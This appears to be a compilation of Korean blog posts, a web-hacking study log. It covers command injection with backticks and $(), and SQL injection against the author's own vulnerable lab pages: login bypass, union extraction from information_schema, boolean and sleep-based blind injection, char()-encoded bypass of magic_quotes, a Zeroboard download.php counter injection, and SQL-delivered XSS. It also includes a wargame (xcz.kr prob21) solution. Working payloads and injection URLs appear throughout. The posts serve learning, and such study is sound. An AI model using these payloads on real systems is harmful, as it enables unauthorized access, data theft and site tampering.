* 웹 해킹을 하면서, 웹 해킹 문제를 풀면서 Command Injection을 해야하는 상황이 종종 나타난다.

하지만, 이 또한 SQL Injection과 함께 널리 알려져 있기 때문에 보통 막아놓는다.
예를들어
$key = $_REQUEST["input"];
system("grep -i \"$key\" action.txt");
예를 들어 이러한 코드가 있다고 가정해보자!

Injection공격에 익숙한 사람들이라면 Injection 취약점이 있다는 것을 바로 알 수 있다.
key라는 변수를 GET방식으로 받아와 직접 명령어를 전달한다.
여기서 | (pipe) 혹은 ; (세미콜론)을 쓴다거나 등등 여러 방법으로 내가 원하는 명령을
함께 실행 할 수 있는 것이다.

그런데 만약 여기에
(preg_match('/[;|&`\'"]/',$key))
이러한 코드 문구가 있고 필터링 되고있다면??
우리가 알고있는 pipe도 못쓰고 세미콜론도 못쓰고...
게다가
%0a로 개행하여 명령을 전달하려해도 우리가 입력한 값이 "" 더블쿼터안에 들어가기 때문에
명령어로 인식이 안된다..

그렇다면 더블쿼터 안에서 명령어를 실행할 수 있는 방법을 찾으면 좋을텐데..!

그래서 오늘은 더블쿼터 안에서 명령어를 실행할 수 있는 방법을 정리하고자한다.
Command Injection으로 활용할 수 있다.

명령어로 인식되게 하는 특수문자가 리눅스에 있다.

예를들어 uname이라는 명령어를 리눅스에서 입력하면
현재 사용되고 있는 OS 정보를 보여준다.



(uname 명령)



여기서 mkdir로 폴더를 만드는데
#> mkdir uname
이라고 입력을 하면
uname이라는 폴더가 만들어진다.



(uname 폴더 생성)



하지만 여기서
#> mkdir `uname`
을 입력하면 `(백쿼터) 안에 있는 uname이 명령으로 인식되어 명령이 전달된 값 Linux라는 폴더를 만들게 된다.



(명령어로 인식)



아하!!
`(백쿼터) 안에 있으면 명령어로 인식되는 것을 알 수 있다.

하지만..
위에서 필터링 되고있는 것들을 보면 `(백쿼터)가 포함되어있다.
다른 방법이 하나 또 있다.
바로 $() 이 안에다 쓰면 명령어로 인식이 된다.
Linux라는 폴더를 지우고 다시한번 똑같이 해보겠다.



(명령어로 인식)



역시 명령어로 인식되는 것을 확인 할 수 있다.

명령어로 인식되게 할 수 있는 방법
1. ` uname` 
2. $(uname)  




SQL Injection을 크게 두 종류로 본다면
Numeric Injection과 String Injection이 있다.

1) Numeric Injection
- SQL Injection 취약점이 존재하는 입력의 형태가 정수일 때의 Injection이다.
정수의 타입으로 입력하기 때문에
String과 달리 ' 작은 따옴표가 없다.
그래서 뒤에 추가적인 명령을 바로 입력하여 SQL Injection을 할 수 있다.
ex)
select * from news where no=1 union select * from news
* 띄어쓰기를 할 수 있어야 추가적인 명령을 할 수 있다.
(만약 코드 상에 trim()이나 공백을 지워주는 함수가 있다면 불가능하다..)


2) String Injection
- Injection 취약점이 존재하는 입력의 형태가 문자일 때의 Injection이다.
우리가 입력하는 것이 작은따옴표 ' 안으로 들어가기 때문에 Numeric Injection처럼 바로 명령을 이어붙이지는 못한다. 다만 ' 따옴표를 사용해 문자열을 잘라줄 수 있으면 된다.

예를들어 아래와 같이 where 조건 이 항상 참인 경우( 1인경우 )
전체 값을 불러오는 것을 확인 할 수 있다.



(where 참 경우)



이 것을 이용해 id에는 String이 들어가므로
아래와 같이 항상 참이도록 SQL Injection을 하면 전체 ID 정보를 가져올 수 있고
인증에 성공하게 된다. (우리가 인증과정을 해당 ID와 비밀번호가 조건에 맞는 데이터가 있다면 인증에 성공하게 만들었다.)
(사실 이 코드는 굉장히 효율적이지만 치명적인 SQL Injection 취약점이 있다. 위와같이)

그렇다면 아래와 같이 Injection을 해보겠다.



(SQL Injection)




결과...
성공하지 못했다.

SQL Log를 살펴보니.!



(SQL Log 확인)



우리가 입력한 ' (작은 따옴표) 앞에 \(역슬래쉬) 이스케이프 문자가 붙어진 것을 확인 할 수 있다.
그렇기에
우리가 입력한 작은 따옴표가 제 역할을 하지 못한 것이다.
이유는! 바로 우리가 전에 /etc/php.ini 설정 파일에서 magic_quotes_gpc 라는 설정을 해주었기 때문이다..!
이렇게 되면 String Injection은 난이도가 팍! 올라간다..!
지금 우리는 SQL Injection을 확인해보는 것이므로... ㅎㅎ
설정 해제 후 확인해보도록 하자! :)



(설정 해제)



그 후 같은 SQL Injection 모습이다.



(로그인 성공)



원리는
위에서 설명한것 과 같이 항상 참이 나오는 SQL 명령을 삽입하였다. 물론 뒷부분은 처리되지 않도록 주석처리 하였다 .(#을 이용해서)
그래서 ID와 비밀번호 데이터가 전부 가져와졌고 우리가 만든 페이지 코드에서 데이터가 있다면 인증에 통과하도록 했기 때문에 통과 되는 것이다.

그렇다면 아이디 부분이 아닌 비밀번호 부분도 마찬가지 String이므로 같은 공격을 할 수 있다.


(SQL Injection)



Log를 확인해보면 우리가 원하는 SQL 명령이 들어간 것을 확인해 볼 수 있다.
조금 다른건
비밀번호 입력한 것이 password() 괄호 안에 들어가므로
1' ) or 1#
이렇게 괄호를 닫아주는 센스?!



(Log 확인)



이렇게 하면
없는 ID로도 로그인이 가능하다.



(로그인 우회)



그렇다면 이제 난이도를 올려보자!
분명 위에 처럼 where를 사용하여 조건에 맞는 데이터가 있다면 인증하는 것도 굉장히 혁신적인 코드이지만 취약점이 있다...
이제 우리는 아이디와 비밀번호를 DB에서 확인하여 일치하면 인증을 하도록 난이도를 올리겠다.



(난이도 업 코드)



ID만 쿼리문에 들어가있다. ID만 검색한 후 그 데이터에서 비밀번호를 입력받은 비밀번호와 일치하는지에 따라 인증을 하는 코드이다.

과연 이것을 우회할 수 있을까?
생각보다 간단하다 :)

저 코드를 잘 보면 알 수 있게 된다.
전 글에서 우리가
select * from login union select 1,2 from login
이렇게 하면 1, 2 컬럼이 추가되어 나오는 것을 확인한 적이 있다.
(기억이 안난다면 지난 글 확인!)

이것을 이용하는 것이다.
코드를 보면 사용되는 쿼리문은
select * from login where user='id' 이다.
여기서 id 에다가 다른값을 넣어준 후 작은따옴표로 문자열을 닫고 union으로 추가해서 우리가 원하는 값이 나오도록 하는 것이다.
Ex)
select * from login where user='1' union select 1, 2 from login;
을 하게 되면 어떤 데이터가 받아와질까?
바로 user가 1인 데이터가 없으므로

user  |  pass
  1         2 

이런 데이터가 받아와지는 것이다. 코드를 보면 이럴 경우 pass의 값 2를 가져오게 되고
우리가 만약 비밀번호에 2를 입력한다면? => ?!?!

하지만 코드를 잘보라~
입력받은 비밀번호를 md5해서 비교하고 있다.
(사실 DB의 값을 바꿔놨다. password에 md5로 해쉬한 값을 넣어놨다.)

그렇다면 mysql 내장함수를 이용하여
select * from login where user='1' union select 1, md5(2) from login;
를 한다면
2가 아닌 md5로 해쉬한 2의 값이 나오게 되고
우리가 비밀번호에 2를 입력하면
모든 조건이 맞는 것이다.!
즉! 우회 성공!

확인해보겠다.
select * from login where user='1' union select 1, md5(2) from login; 이 나올수 있도록
1' union select 1, md5(2) from login# 을 넣어주고
비밀번호에 2를 입력해주었다.



(SQL Injection)



결과..



(우회 성공)




이처럼 SQL 에 취약한 코드가 있다면 안전한 인증을 사용해도 우회가 가능하다는
가능성을 보았다.!




DB의 정보를 확인하기 위해
지난 글에서 SQL Injection을 했다. 바로 Guessing(추측) 공격으로 말이다.

하지만 DB에 관한 지식? 정보를 알면 조금 더 정확하게(?) 정보를 꺼낼 수 있다.

우리가 지금 사용하는 MySQL에 관한 지식을 이해해보면서
이러한 가능성을 이해해보자 :)

MySQL에는 기본 DB가 있다. (우리가 만들지 않아도)
그 중 하나가 information_schema인데 이 DB에는 DB내의 모든 정보가 들어있다.
information_schema는 MySQL5 이상에서만 존재한다.
이 DB는 논리적인 DB로 수정이나 삭제가 불가능하다.

이 information_schema DB를 살펴보자!



(information_schema DB)



이 DB에 들어있는 테이블들을 확인해보면
DB 정보가 들어있는 테이블들을 확인 할 수 있다.
여기서 우리는 테이블 정보가 들어있는 tables 라는 테이블을 확인해보겠다.



(TABLES 테이블)



테이블 내용 중 몇가지만 명령문에 넣어 select 명령문을 사용해보겠다.



(TABLES 내용 확인)



그렇다면
다른 DB에서도 information_schema DB에 들어있는 정보를 SELECT해서 확인 할 수 있는지 확인해보겠다.



(다른 DB에서 SELECT)



에러가 난다.!
그런데 에러 내용을 보니 blind.columns 이 없다고 나온다. 즉 경로를 입력해줘야 한다는 뜻이다.


select 1, column_name, table_name from information_schema.columns;
이런식으로 명령을 내리면 다른 DB에서도 해당 DB의 테이블 정보를 확인 할 수 있다.
그렇다면 union명령으로 SQL Injection 해보겠다.
information_schema 정보를 가져올 수 있다면 다른 DB에 대한 정보를 이용해 여러가지 정보를 가져올 수 있기 때문에 중요한 것이다.



(SQL Injection)



명령
http://100.100.100.129/view.php?no=1 union select 1, column_name, table_name from information_schema.columns;



(실행 결과)



실행 결과를 보니 information_schema DB의 columns 테이블의 정보들 중 우리가 선택한 column_name, table_name 정보가 나오는 것을 확인 할 수 있다. 첫번째 컬럼은 화면에 출력 되지 않으므로 그냥 1로 한 것이다.
우리가 이 페이지를 만들 때 일부러 취약하게 만들기 위해 while문을 사용했었는데
난이도를 올려 while을 제거해보겠다.


(while 제거)



제거하면 기존의 페이지 모습과 같다.



(제거한 모습)





(거짓 Injection)





(참 Injection)



다만,
아까와 같이 SQL Injection 시 정보가 주르륵 전부 나오지 않고 하나만 나오기 때문에 그리고 제일 먼저 담겨오는 원래정보만 나오기 때문에 난이도가 올라간다.
즉 여기서 우리는 새로운 명령 문법을 배워야한다.
바로 limit 명령이다.
limit을 이용하면 select의 개수를 정할 수 있다.
* limit 을 이용하면 출력의 개수를 정해줄 수 있다.

또 출력을 시작할 행의 번호 또한 지정할 수 있다.
MySQL에서는 0번부터 시작한다.
mysql> select * from [Table] limit 시작, 갯수;



(사용 예시)



위 사용은 10번째 행부터 10개 까지만 가져오도록 하는 명령을 사용한 것이다.

이것을 이용하면 아까 우리 페이지는 한개의 행만 가져올 수 있으므로 개수는 1개로 지정하되
시작하는 행의 번호는 자유이므로 아래와 같이 명령을 하게되면 정보를 확인 할 수 있게 된다.



(테이블 정보 확인)



이를 이용해
http://100.100.100.129/view.php?no=1 union select 1,2,table_name from information_schema.tables limit 1,1
이렇게 url로 SQL Injection을 하면 아래와 같이 나온다.



(실행 결과)




(실행 결과2)



여기서 난이도를 더 올려보겠다.
만약 화면에 DB 정보가 안나온다면??..



(DB정보 출력 제거)



난이도를 올린 페이지 모습



(업그레이드 페이지 모습)




(참 Injection)





(거짓 Injection)



참과 거짓을 이용했을 때 화면에 문구가 나오느냐 안나오느냐 확인 할 수 있으므로
SQL Injection에 취약한 지는 체크할 수 있다.

하지만 DB정보가 출력되는 곳이 없는데 어떻게 정보를 확인할 수 있단 말인가...

이를 이해하기 위해 우리는 또다른 mysql 명령 문법을 알고 가는 것이 좋다.
substr 이라는 문법이다.
이 문법은 php에서도 사용된다.

바로 문자열을 분할하는 함수이다.
이 함수를 이용하면 아래와 같이 한글자를 확인 할 수 있다.



(substr 이용 확인)



위 화면은 information_schema DB에 있는 tables 라는 테이블에 테이블 이름 컬럼의 정보 중 첫번째 행의 데이터의 첫번째 글자를 확인한 것이다.

이를 우리는 웹에서 DB정보가 출력되는 것이 없기 때문에 참과 거짓을 이용하여 찾을 것이다.
그러기 위해 참과 거짓이 되게 비교를 해야하는데 물론 문자도 비교가 되지만 정확하게 하기 위하여
아스키코드를 비교하는 것이 좋다.



(아스키 코드 비교 화면)



이를 이용하여 아래와 같이 비교문장을 and 뒤에 추가하면 만약 참이되면
화면에 글자가 나올것이고(Welcome 어쩌구)
만약 거짓이면 and이기 때문에 화면에 아무 글자도 출력되지 않을 것이다.
바로 이것을 이용하여 찾는 것이다.



(SQL Injection)





(거짓 화면)



그렇다면 66이 아니니 67을 너보는 것이다.



(참 화면)



67일 때 글자가 나온것을 봐서
67이구나 즉 C라는 글자구나라고 생각할 수 있다.
이런 식으로
ascii(substr( (select table_name from information_schema.tables limit 1,1), 2,1)) = 66;
ascii(substr( (select table_name from information_schema.tables limit 1,1), 3,1)) = 66;
...
이렇게 한글자씩 찾는 것이다.

비교문이므로 크다, 작다 부등호로도 판별이 가능하다.



(부등호 사용)



이제 난이도를 더 올려보겠다.
화면에는 이제 Welcome이라는 글자 조차.. 아무 화면도 안뜬다...
이런 상황에서도 가능할까??



(출력 정보 없다.)





(페이지 모습)





(참 Injection)





(거짓 Injection)




참도,, 거짓도... 알아볼 수 없는 화면이다...
이럴 때는 일부러 특이 현상을 일으키는 것도 방법이다.
예를 들어 sleep명령이 있다.
and 뒤에 비교문(아까와 같이) 또 그 뒤에 sleep을 걸어주면
비교가 참일 경우 sleep이 발생되고
거짓일 경우 뒤의 명령을 실행할 필요가 없기 때문에 sleep이 나타나지 않는다.
즉 이걸 이용하면 아까와 같은 방법으로 한글자씩 알아낼 수 있다.




(참 Injection)




참일 경우 위와 같이 sleep이 발동되어 화면이 돌아가고 있는 모습을 볼 수 있다.

이렇듯 화면에 출력되는 정보가 없어도
확인이 힘들더라도
SQL Injection은 가능할 수 가 있다.
:)




아.... 어제오늘 21번문제를 풀었다.
하루죙일 푼건 아닌데
너무 노가다성이 짙었다. (난독화...때문에...)
중간에 오기가 생겨서 끝까지 풀어봤다.


21번 문제 화면이다.!


(21번 문제 화면)



주어진 단서는 소스보기 뿐!
소스보기를 한다.



(소스 화면)



?.....
딱봐도 난독화다.
그래도 코드가 짧기 때문에 그나마 다행이다. (그래도 오래걸린다)

우선 오래볼거기 때문에 흰화면은 눈이 아프므로
Notepadd++ 에 옮겨서 분석하기로 한다.
원래 코드는 아스키 코드로 되어있는데
전부 해석해서 옮겼다. (파이썬 프로그램으로 코드를 짰다. 너무오래걸려서...)

아스키코드만 해석한 화면이다.


(아스키코드 해석)



하하... 아직 갈길이 멀다.

그래도 난독화 되어있다.
인내심을 가지고 같은 변수이름을 찾아서 ( 컨트롤 F ) 난독화를 정리해주면
아래와 같이 깔끔하게? 된다.



(난독화 정리)



...
여기까지 했으면 끝이다.
여기까지가 귀찮고 귀찮지만 귀찮은 작업이 끝났다.
짝짝짝
여기까지 친구랑 얘기하면서 설설 했다.

이제부터 본격적인 코드 분석이다. (여기부터는 어렵지 않다.)
위에서부터 하나씩 분석해보겠다.



(아스키 코드로 변환)



아스키 코드로 변환하는 것인데 5글자를 아스키코드로 바꾸어 전부 더해주는 함수이다.
여기서 b변수가 처음에 "" 빈 문자열로 출력되서 문자열이라고 생각했는데
뒤에 ord() int가 반환되는 함수가 나와서 아리송했다.
결과는 h함수에 들어오는 값을 한자한자 5글자 아스키코드로 바꾸어 전부 더해주는 함수이다.

그 다음으로는 아래와 같다. (아주 익숙한 문자열도 보인다)



(입력값 코드)



KEY는 우리가 찾아야할 정답으로 보인다.

mun이라는 변수에 GET방식으로 전달받는 key변수 값을 저장한다.
그 후 mun이라는 변수에 들어온 문자열을 "-" 으로 분리하여 배열로 a변수에 저장한다.
그 후 a 배열의 값을 체크하는데 이로써 알 수 있는 것은
a의 배열에는 5개의 값이 들어있고 알파벳과 숫자로 이루어진 문자열이어야한다는 점이다.
그렇지 않으면 Error!를 출력한다.

핵심에 맞는 조건값을 찾는 과정이다.



(키 코드)



이 코드는 if문으로 이루어져있고 이 조건들을 전부 만족하면 KEY를 출력하게 되어있다.

조건들을 정리하여 보았다.
조건
1. a배열 첫번째 요소 조건
a배열 첫번째 요소가 첫번째부터 2글자가 숫자이다.
a배열 첫번째 요소가 5번째 글자가 숫자면 안된다. 
a 배열의 첫번째 요소를 h 함수에 넣은 값이 312보다 크고 333 보다 작아야한다. 즉 아스키코드로 전부 바꾸면 312~333 사이의 값이어야한다.

a첫번째 요소 -> "11X1a"

2. a배열 두번째 요소 조건
a 배열 두번째 요소의 첫번째 글자가 숫자면 안된다.
a 배열 두번째 요소의 4번째 5번째 값이 숫자여야한다.
a배열의 두번째 요소 h함수 값이 300~326이다.

a 두번째 요소 -> "a3399"

3. a배열 세번째 요소 조건
a배열의 세번째 요소 첫번째 글자는 숫자가 아니다.
a배열의 세번째 요소 두번째 글자는 숫자이다.
a배열의 세번째 요소의 h함수 값이 349 ~ 407 사이이다.
 
a 세번째 요소 -> "a1d88"

4. a배열 네번째 요소 조건
!is_numeric(substr(${a}[3],0,2)) => a 배열의 4번째 요소의 첫번째 두번째 값은 숫자가 아니다.
is_numeric(substr(${a}[3],2,3)) => a 배열의 4번째 요소의 세번째 4번째 5번째값은 숫자이다.
h(${a}[3])>357&&h(${a}[3])<359 => a 배열의 4번째 요소는 357 ~ 359 값이다.

a 4번째 요소 -> "aa668"

5. a배열 다섯번째 요소 조건
(h(${a}[0])+h(${a}[1])+h(${a}[2])+h(${a}[3])) / 4  반올림한 값인 340
h함수에 넣었을때 340이 되어야한다.

a 5번째 요소 "aa011"

이 모든 요소들의 조건을 -으로 구분하여 입력하여 주면 된다.!



(정답 화면)




이 문제는 어렵지 않다.
다만 귀찮고 귀찮았던 문제일 뿐이다.!



'WarGame > xcz.kr' 카테고리의 다른 글

xcz.kr - prob18(Web)  (0) 2017.02.22
xcz.kr - porb13 (network)  (0) 2017.02.03
xcz.kr - porb17 (network)  (0) 2017.02.03

저번 글 마지막에서
SQL 인젝션을 막아보았다.
바로 magic_quotes_gpc 설정을 통해서인데
한번 어떻게 막아지나 다시한번 확인해 보겠다.

게시글 내용을 sql injection test글로 수정하는 쿼리로 조작해서
url입력을 한다. 



(SQL Injection)



결과는 물론 실행되지 않았고
로그를 통해 어떤 SQL 명령이 전달되었는지 확인해보자



(로그 확인)



전달된 SQL 명령을 확인해보니 문자열 앞 ' 작은따옴표 앞에 \(역슬래쉬) 가 붙은 걸 확인 할 수 있다.

바로 escape 문자인데 문자열을 나타내는 ' 작은 따옴표의 역할을 벗어나 문자 따옴표 역할을 하게 한다. -> 그렇게 되어 뒷부분이 SQL 명령 문법에 오류로 처리가 되어 SQL 명령이 실행되지 않는 것이다.

이러한 필터링을 우회하는 방법이 있을까?
=> 이러한 필터링은 문자열이 입력되지 못하게 하는 것이다.

* 우회 방법
1) 필터링 되고 있는 문자에 대해서 다른 문자로 대체 가능한 문자를 찾는다.

2) 문자열을 표현하는 또 다른 방법을 이용하는 것이다.
-> mysqld의 내장함수를 이용하는 방법이 있다. (char함수 이용)

char() -> 아스키 코드를 바꿔주는 char 내장함수를 사용하면 ' , " 를 사용하지 않고도 문자열을 입력할 수 있다.

MySQL에서 적용이 되는지 확인해 보겠다.
먼저 char() 함수를 이용하여 문자열이 출력 가능할까?



(문자열 출력)



-> 문자열 출력이 가능하다.

'sql injection haha' 이라는 문자열이 출력 될 수 있도록
아스키코드표를 참고해서 적어준다.
SQL Injection에 사용될 url이다. 



(SQL Injection)



실행 후 로그를 확인해보았다.



(로그)



로그를 보니 우리가 원하는 대로 SQL 명령이 전달 된 것을 확인 할 수 있다.

공격이 잘 성공 됬다면 게시판의 모든 글이 sql injection haha로 바뀌었을 것이다.
뒤에 우리가 where 조건 절을 안주었기 때문에 모든 글에 적용 되었을 것이고
concat을 사용하지 않았기 때문에 글 전체가 바뀌었을 것이다.

확인해보면



(결과)




(결과)



모든 글이 우리가 입력한 문자열로 모두 바뀐 것을 확인 할 수 있다.

그렇다면 이 우회방법을 이용하여 스크립트도 추가할 수 있을까?



(추가할 스크립트)



추가할 스크립트를 아스키코드로 바꾸어 놓았다.

아까와 같이 하지만 우리는 이번에 전체 글이 아니라 19번 글만 적용시킬 것이다. 왜냐하면
전체글에서 팝업창이 뜨면 귀찮을거 같기 때문에...



(SQL Injection url)



실행해보니 19번 글을 클릭할 때 XSS 스크립트가 실행되었다.



(XSS 공격)



소스코드를 보니



(소스코드)



XSS 스크립트가 추가된 것을 확인 할 수 있다.

이렇게 SQL Injection은 XSS 공격에도 이용할 수 있을 만큼 강력한 취약점이다.

이번에 다뤄볼 내용은 Blind SQL Injection이다.

* Blind SQL Injection
-> 소스코드 없이 오직 페이지에 있는 코드 혹은 SQL 명령들의 결과로부터만 공격을 하는 것이다.
-> DB에 들어있는 데이터 중에서 블라인드 데이터, 화면에 보여지지 않는 데이터들을 노출시키는 공격이다.
지금 까지는 우리가 서버에 들어가서 소스코드를 분석하면서 취약점을 분석하였다.
하지만 이번에는 오직 웹 브라우저를 통해서 공격하는 것이다.

먼저 이 공격에 대해 이해하기 위해
Blind Injection에 아주아주 취약한 웹페이지를 만들어보고 그 페이지를 대상으로 공격을 해보겠다.

1) 테스트용 DB
 DB : blind
 table 3개가 필요하다.
 - news: no, title, news
 - fnews: no, title, news, bigo
 - anews : no, title



(DB 생성)




(테이블 생성)




(적절한 데이터 입력)



DB 생성, 테이블 생성, 적절한 데이터까지 몇개 입력해보았다.

이제 이 DB를 이용해 간단한 그리고 취약한 PHP 페이지를 만들것이다.



(PHP 페이지 코드)



웹 페이지에서 확인해보면
no변수를 GET 방식을 통해 전달받으면서 해당 no의 글을 화면에 보여주는 페이지이다.



(웹 페이지 모습)



취약점의 존재 확인방법 : 참 or 거짓을 이용한다.
 1) and 1=1 , and 'a'='a',  and 1  , true false 사용 가능, && 기호(url인코딩값) 사용 가능  (참 이용)
 2) and 1=2, and 0, and False,   (거짓 이용)
 3) or 1=1  ,  || 기호 사용 가능(url인코딩사용해야한다.)
 4) or 1=2
참일 경우 화면에 보여지지만, 거짓일 경우에는 화면에 보여지지 않을 것이다.




(참)




(거짓)



이러한 명령들을 로그에서도 확인해 볼 수 있다.



(로그)



혹은 no의 변수에 1 || 1  을 입력하게 되면
뒤에 1이 항상 참이기 때문에 no=1의 글만이 아닌 1을 포함해서 모든 글을 가져오게 된다.



(1=1 입력)



이렇듯
입력값 조작 을 통해 화면이 다르게 나오면 인젝션 취약점을 의심해 볼 수 있다.
=> 입력값에 의해 쿼리가 사용된다는 것을 의심해 볼 수 있다.

그렇다면 조작할 수 있는 것은 알겠는데
이로써 다른 데이터들을 보려고 한다면 no변수에 입력을 통해 추가적으로 다른 테이블을 검색할 수 있어야한다.
즉, 2개 이상의 쿼리문을 실행시킬 수 있어야한다.
어떻게?

1). ; 을 이용한 방법
; (세미콜론)을 이용하면 여러개의 명령을 동시에 실행 시킬 수 있다.



(두개의 명령 실행)



검색 결과가 2개가 나온 것을 확인 할 수 있다.

하지만 안타깝게도 이 방법은 현재 우리 코드에서 적용하지 못한다. 이유는...
우리가 mysql_query() 함수를 사용하는데 이는 단일 쿼리만 가능하도록 되있는 함수이기 때문이다..
다른데서는 가능할 수 도 있지만, 우리에게는 사용할 수 없다ㅜ

2). union 을 이용한 방법 (이거는 select에서만 사용 가능하다.)
union을 이용하면 추가적인 select 명령을 할 수 있다.



(union 사용)



사용 화면에 보다시피 한테이블에 합쳐져서 나온다.

그렇기 때문에 예상할 수 있는 오류가 있다.
만약 두 개의 쿼리에서 찾는 테이블의 컬럼의 수가 일치하지 않으면??



(에러 모습)



에러가 난다~
news는 컬럼이 3개 이기 때문에 fnews 테이블을 컬럼 3개만 맞춰서 select 명령을 실행 할 수 밖에 없다.
무조건 앞에 있는 테이블을 기준으로 컬럼을 맞춰야한다.



(컬럼 일치시키기)



그렇다면 anews 처럼 2개 밖에없으면??
즉, news 보다 더 적은 테이블을 검색한다면 어떨까?



(오류)



물론 오류난다..

이를 해결하기 위해서는 컬럼을 일치시키기위해 아무값이나 추가해서 컬럼을 추가한다.



(컬럼 일치시키기)



바로~ 이러한 특성을 이용하여
보이지 않는? 테이블의 컬럼의 수를 맞출 수 있다.
현재 우리는 우리가 테이블을 만들었기 때문에 컬럼의 수를 알고 있지만
Blind SQL Injection이다.

우리에게 주어진건 웹페이지 뿐이다.!
이 때 이 화면에 보여지는 테이블의 컬럼의 수 정보를 알아내는 것은
매우 중요하다.
왜냐하면 뒤에 union을 사용하여 추가적인 다른 테이블을 검색해볼것인데
union을 사용하려면 앞의 테이블의 컬럼 수와 일치시켜야하기 때문이다.!

그렇다면 현재 페이지의 DB 컬럼 수를 맞추기 부터 해보자!

* 컬럼의 개수를 아는 방법
컬럼 개수를 아는 방법은 여러가지가 있다.
1. 찍기. (다해보기)
-> 무식한 방법일 수 있지만 확실한 방법이다.

union select 1
union select 1, 2
union select 1, 2, 3
...
쭉 다 해본다.
그렇게 되서 화면에 내용이 나오게되면 바로 그 만큼의 개수가 존재 한다는 것이다.
원리는 위에서 union 할 때 앞의 컬럼의 수와 일치하는 컬럼의 수를 입력해야 된다는 것이다.



(컬럼 수 맞추기)



컬럼 수가 3개 이기 때문에 1, 2, 3 이렇게 3개의 값을 컬럼 정보에 넣었을 때 데이터가 보인다.


(그렇지 않은 경우)



그렇지 않은 경우 SQL 명령에서 오류가 나기때문에 화면에 아무 내용도 보이지 않게 된다.

2) order by 를 이용한 방법
-> 2진 탐색을 이용할 수 있는 방법이다.

select 에서 order by를 이용하면 컬럼의 정보로 정렬을 할 수 있다.



(사용 예시)



그런데 이걸 바로 숫자입력?으로도 정렬을 할 수 있다.



(order by 1)



이 방법의 원리는 이렇다.
=> orber by 10 으로 했는데 안나왔다. -> 컬럼이 10개보다 적다.
 => order by 2 로 했는데 나왔다. -> 컬럼이 2개보다 많다는 뜻이다.




(order by 방법)



이렇게 컬럼의 수를 맞추는 방법까지 알아보았다.

이제 다음 포스트 글에서는 Guessing을 이용해 DB 정보에 더 다가가는 방법에 대해
알아보겠다
:)




오늘은
제로보드의 SQL 취약점을 살펴볼 것이다.

그 중에서 PHP File Download 취약점을 살펴 볼 것이다.

지난 글에서 만들었던 게시판에서 글을 확인해 보면
다운로드 옆에 숫자가 보이는데
다운로드 횟수를 보여준다.



(다운로드 횟수)



바로 이 횟수가 DB에 저장된 값 중 하나인데
이 페이지의 소스코드를 분석해보자

다운로드를 클릭하면 download.php 파일로 이동하는 것을 확인 할 수 있다.



(download.php 파일 이동)



download.php?id=gogo_test&page=1&page_num=20&category=&sn=off&ss=off&sc=off&keyword

=&prev_no=&select_arrange=headnum&desc=asc&no=19&filenum=1
코드를 보면 download.php 파일로 GET방식으로 변수들의 값을 가져가고 있는 것을 확인 할 수 있다.

그렇다면 download.php 파일을 확인해보자.



(download.php 파일)



소스 코드를 보면 44번 행에
mysql_query를 볼 수 있다.



(SQL 구문)



mysql_query("update $t_board"."_$id set douwnload".$filenum."=download".$filenum."+1 where no='$no'");
이 구문인데 실행될 떄 어떤 SQL이 만들어져서 보내지는지 확인해 보겠다.
먼저 $t_board 변수인데
download.php 페이지에서는 이 변수를 정의하고 있지 않다.
대신
이 페이지의 위 쪽에 코드를 보면
require "lib.php";  에서
즉 lib.php에서 이 변수를 정의하고 있는 것을 확인 할 수 있었다.



(lib.php 에서 정의)



확인한 결과
lib.php 39번라인에서 $t_board = "zetyx_board";로 정의 되어있었다.

또 나머지 변수는 GET 방식에서 넘어오는 변수들인 것을 확인 할 수 있다.
$id=gogo_test
 $filenum=1
 $no=19

즉, 이 값들을 토대로 해서
어떤 쿼리가 전송되는지 조합해보면
update zetyx_board_gogo_test set download1=download1+1 where no='19';
이러한 쿼리가 만들어져서 보내지는 것을 확인 할 수 있다.

실제로 이런 쿼리가 만들어지는지 확인해보자

먼저
SQL 로그를 기록되게 하기위해서 실행중인 SQL을 끄고 다시 실행하도록 하자.



(sql 종료)



종료 후 옵션을 걸어서 실행해 줄 것이다.

#> mysqld_safe --log=query.log &
로 실행하게 되면
로그가 기록되게 된다.



(로그 기록 실행)



기록되는 로그의 위치는
/var/lib/mysql 에 있는
query.log 파일이다.



(로그 파일 확인)



로그 파일을 열어둔채 다시 다운로드를 클릭하면
아래와 같이 로그가 기록되는 것을 확인 할 수 있다.



(로그 확인)



로그를 보면 우리가 예상했던 update 구문이 정확히 일치한다는 것을 볼 수 있다.
우리의 생각이 맞았던 것이다.

자 그렇게되면
우리가 조작할 수 있는 값은 3개
이 3개로 SQL구문을 Injection 할 수 있다는 것이다.

예를 들어 id변수를 hello로 바꿀 수 있다.



(SQL Injection)




(결과 화면)




그 결과 hello라는 게시판이 없어서 이런 페이지가 나왔고
아무 일이 이러나지 않았다.

두번 째로 no변수를 1로 바꾸어 보았다.




(no 변조)




no 1의 게시 다운로드1 의 횟수가 1 추가되었는지 확인해보자

mysql에 들어가서 아래와 같이 확인해본다.



(확인)



(1 추가)



확인해본 결과 1이 증가했다는 것을 볼 수 있다.

그렇다면 마지막으로 filenum?
$filenum=1=100
으로 하면 어떻게 될까?
그렇게 되면
update zetyx_board_gogo_test set download1=100=download1=100+1 where no='19';
이 되게 되고 문법에 맞지 않아 실행이 되지 않는다.
하지만 이러한 변조는 아마 눈치 챘을 거라 생각한다.
바로 다운로드 횟수 100으로 바꿀 수 있다는 가능성이 있다는 것이다.



(다운로드 회수 100 조작)



하지만 뒤에 문법이 맞지 않는다는 것이 문제다.
그렇다면 뒷 부분을 주석처리할 수 있다면?
주석 : --, /* */, #
예를 들어
update zetyx_board_gogo_test set download1=100#=download1=100#+1 where no='19';
이렇게 되게 하기 위하여
filenum에다가 1=100# 을 넣는다면
뒷부분은 주석처리 되고 다운로드1의 횟수가 100이 되는 SQL 명령이 된다.



(SQL Injection)




(실행 결과)



실행 결과 로그를 확인해보니 #이 빠져있다..!
바로 URL에서 입력할 때 특수 문자는 URL Encoding이 되기 때문이다.

* URL encoding
 - URL에서 사용하는 특수문자
 - 공백: +, %20 (아스키 코드)
 - 문자에 해당하는 아스키코드 앞에 %를 붙여주면된다.
 # -> %23

그렇기 때문에 주석 처리를 위한 # 대신에 %23을 사용한다면?



(%23 사용)



결과 다운로드 수가 100으로 적용된 것을 볼 수 있다.



(100 적용)



그리고 뒤에 where 조건이 없었으므로 아마 모든 글의
다운로드1 횟수가 100으로 됬을 것이다.



(100으로 적용됨)



이 때 사용된 쿼리문을 로그에서 확인해보면



(쿼리 확인)



#이 아까처럼 사라지지 않고
남아서 주석처리 역할을 한것을 볼 수 있다.


그렇다면~?
이러한 SQL Injection을 이용해 XSS공격을 할 수 있을까?
